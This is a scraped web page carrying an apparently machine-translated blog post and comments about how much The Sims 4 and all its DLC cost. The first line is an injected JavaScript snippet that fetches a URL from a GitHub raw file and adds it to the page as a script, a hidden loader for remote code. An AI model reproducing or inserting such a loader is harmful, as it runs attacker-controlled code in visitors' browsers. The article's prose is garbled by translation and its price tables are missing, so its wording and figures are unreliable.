;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); How much are all additions to SIMS 4 cost? - 优诚法务

How much are all additions to SIMS 4 cost?

Electronic Arts games traditionally find themselves in the center of scandals associated with monetization. Surprisingly, the SIMS series has long managed to avoid them, although the cost of the full version of the game has long been ten times higher than the declared price.

As a less specific and more chaotic alternative to this text, I propose to see my short video (or at least click on it).

I think I was not at least once seized by an unbearable desire to escape from annoying reality to the carefree universe of The Sims, where in a matter of hours you can get your favorite work, a loving family and a cozy nest. When owning PC, I instantly found the right version of the game on all the famous torrent platforms. But with the entry into the console world, I suddenly frantically discovered my helplessness before major game publishers, who were trying to appropriate my cerebels at a convenient way. Having discarded the prejudices, I still decided to download the standard version of the SIMS 4 from Game Pass and, by some miracle, was transferred to the market area on the outskirts of the metaul.

“Indoor plants! Outfits from the past! Rural cuisine!" – from everywhere I heard the cries of local traders. But my gaze was instantly attracted by one withered old man, who was somewhat similar to Will Wright Wright. Something wise, exhausted and even mournful was read in his eyes. Suddenly my stupor was interrupted by his quiet dying: “Seasons – 2999, pets with a discount for 2500 rubles”.

The Sims monetization system

It seems that we have already managed to get used to the perseverance, coupled with the arrogance with which Electronic Arts approach the introduction of monetization in our games. Think about how many of you were really surprised by the fate of Dead Space 3, Battlefront II or FIFA ? Unlike these games, the SIMS series from the first part is traditionally monetized by releasing a different scale of DLC. “Where is the impudence here? So they do it!", – you can exclaim, I will answer:" On the scale ". You see, the number of additions issued for each of the SIMS parts did not exceed the mark of 20 units, when the barrier of 50 overcame the barrier as a fourth and still does not intend to stop.

For some systematization of this Mount of Content, a decision was made to divide the DLC into four categories. With the support of the second part of the series, it was customary to divide the DLC into “additions” and “catalogs” depending on the number of content. The developers of SIMS 4 went further – they added two more categories to this table, thereby segregating all DLC to four groups:

It sounds trite, but the whole difference between categories is only in the size and quality of additional content. Moreover, “sets” appeared recently and are only an extremely meager assortment of clothes or furniture. EA and MAXIS are already so full of their desire to earn in the air that in the last “kit” 24 items of clothing are offered for 400 rubles, the quality of which you can evaluate yourself:

The real price of the game

But you did not come here for my ranting, but for "shocking" numbers, so let’s open the cards. Let’s start with the official price: at the SIMS 4 digital venues, today exists in two editions: standard and Digital-Deluxe, and their price will be in total:

But since recently and Digital-Deluxe, the publication has been sold in several iterations:

I think the advantages of the Deluxe publication will not leave anyone indifferent, because you will get the whole two indispensable DLC, including “Funny animals’ hats”, “bar rack”, “stylish outfits” and all in that spirit.

The price of the rest of the DLC varies depending on the category to which they belong. There are “additions” apart here, expanding game capabilities and adding a bit of gameplay diversity. For example, “Seasons” bring new weather conditions, holidays, seasonal classes like skating in addition to new subjects for the editor of characters and the construction regime. For these innovations you will be asked for an amount comparable to the cost of the game:

Looked at these numbers? Now you can safely multiply them by ten, After all, the developers managed to stick as many additions. How much it happened? Thirty thousands? Not enough, we have not yet counted the rest of the categories. And in line they are waiting for us again ten "Game sets", seventeen "Catalogs" and nine "Sets" with different costs. I almost forgot, because we need to separately calculate the “collection” of two DLCs with animals, and this is another $ 50 or 3799 rubles.

The price of game sets

The price of catalogs

The price of sets

Now let’s finally take a look at the truth of the eyes. The real cost of SIMS 4 is:

In fairness, I must mention that a little later the release of this note, the price of the game will officially exceed 70 thousand with the release of the new “wedding” gaming set. Do not rush to close the blog, because I have not yet told you about the ways of saving, offered to us one of the "most hated companies in the USA".

Savings from EA

If you were frightened by the amount above, then Electronic Arts saved a few legal ways for you by saving by subscribing to the EA Play service and buying “collections” from DLC.

After all, in just 299 rubles per month, you can get a standard version of the game and a base discount of 10% for a gift as a gift without an additional fee. Alas, for “funny hats in the form of animals” will still have to pay extra. Not generous enough? Then run behind the collections!

According to my calculations, by combining both methods for PlayStation, you can save 20,000 rubles, so the total cost here will be 50,000 rubles. Impressive? Save your money, because in line we have free DLCs that can lure you for many hours!

FOR FREE

I think no one will argue that SIMS 4 has turned into a service-service, and in the services of services, as you know, there is a practice of releasing small free additions for additional involvement of players. They are designed to stimulate users simultaneously both to the active game and the purchase of DLC. And Sims 4 was no exception, because here as many as two additions are available to us:

Thanks to EA and Maxis for a magnificent gift in the form of home jewelry, festive costumes and guitars! Really motivates to buy the remaining 48 extensions.

The final word

Concluding my indictment, I would like to discuss the future of The Sims series with you. As you know, in September of this year, SIMS 4 will safely celebrate its eighty year, when, as before, the release of each new part of the series was planned every 4-5 years. And despite the beginning of the active development of SIMS 5, EA representatives today declare the prospect of ten- or even fifteen-year supporting the current part.

Once at the next EA Play conference, we will finally allow us to look at the new part of the series-the “long-awaited” SIMS 5 with the pathos sub-support A la “Infinity” or “Eternity” hinting at the long support of the game. Are we waiting for the developers of deepening the existing gameplay formula or radical rethinking of gaming design? I will not dare to speak for you, but in my eyes the future of the series is exclusively in the implementation and development of service elements.

Unfortunately, the Sims is safe for EA today to present cosmetic updates, reprint the old add -on, introduction of the signature system and create a full -fledged intra -game store in Ubisoft’s manner. Only a few years will pass, and you and I will go to SIMS 5 not for pleasure, but if necessary: ​​for the implementation of "Dails" and resale of NFT objects.

On this I have everything. I thank everyone for your attention and I invite you to discuss a painful topic in a commentary.

The best comments

Author, your father is not accidental? Then where so much water comes from?

All material can be reduced to one phrase:

Xbox |905 $ or 69,450 rubles

PlayStation |69 900 rubles

Thanks for the fair remark! But I wanted to add my own reflection and special information to test my skills-the first article, after all,.

Judging by the recent events, there are less and less desire to spend money on new gaming sets and additions. The scandalously known set "Wedding Stories" confirmation of this. Funned stub of full content (and some user mods look an order of magnitude better).Against the background of a gradually rolling fourth, I am more and more start to love Sims 2 and sims medieval

It is very cool that everything is laid out on the shelves, with prices, calculations and all-all-all: I was terribly interesting for me to see my assumptions about the drawing of money as ossified humanitaria)

Cool emotional language, it is not boring to read, which is rare – in general, I put the class. I will wait for new articles)

“Where is the impudence here? So they do it!", – you can exclaim, I will answer:" On the scale ". You see, the number of additions issued for each of the SIMS parts did not exceed the mark of 20 units, when the barrier of 50 overcame the barrier as a fourth and still does not intend to stop.

However, the content delivery systems have changed. All this catavasia began with the very first game and with each new part only grew. Yes, there were not so many additions in the first part of the additions. However, in order to get an addition, I would have to buy a new edition where it is entering. That is, there was already an “idea” that players should buy the game several times. Farewell to the Czech with different publications only added a chance to spend more. Catalogs were added to the second part. Now it was proposed to buy the game again for the sake of a small bunch of new items. They also made three separate games "on the engine". In the third, they finally screwed the online store. Was it worth something else to expect from the four and whether it is worth waiting for a change of course from the five?

Duc Troika The best part, IMHO. Many opportunities, open city, interesting DLCs in the form of travel. In the four even close to play is not so interesting

No, the article, of course, is interesting, here without a dispute. I read the whole, but a little pulled for such a topic.


已发布

分类

作者:

标签

评论

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注